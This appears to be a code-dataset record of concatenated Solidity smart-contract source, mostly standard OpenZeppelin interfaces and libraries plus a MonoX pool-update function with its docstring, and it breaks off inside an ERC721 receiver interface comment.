event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
|
updates pool token balance and price. record last trade's block number in mapping: lastTradedBlock
|
function _updateTokenInfo (address _token, uint256 _price,
uint256 _vcashIn, uint256 _vcashOut, uint256 _ETHDebt) internal {
uint256 _balance = IERC20(_token).balanceOf(address(monoXPool));
_balance = _balance.sub(_ETHDebt);
require(pools[_token].status!=PoolStatus.PAUSED,"MonoX:PAUSED");
require(_balance <= uint112(-1));
(uint initialPoolValue, , ,) = getPool(_token);
pools[_token].tokenBalance = uint112(_balance);
pools[_token].price = _price;
lastTradedBlock[_token] = block.number;
_updateVcashBalance(_token, _vcashIn, _vcashOut);
(uint poolValue, , ,) = getPool(_token);
require(initialPoolValue <= poolValue || poolValue >= poolSizeMinLimit,
"MonoX:MIN_POOL_SIZE");
}
| 12,003,021 |
// SPDX-License-Identifier: MIT
// File: contracts/INftStaker.sol
pragma solidity ^0.8.4;
/// @dev Interface allowing calling of stake and unstake on staking contract.
interface INftStaker {
function stake(uint256 _tokenId, address _tokenOwner) external;
function unstake(uint256 _tokenId, address _tokenOwner) external;
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
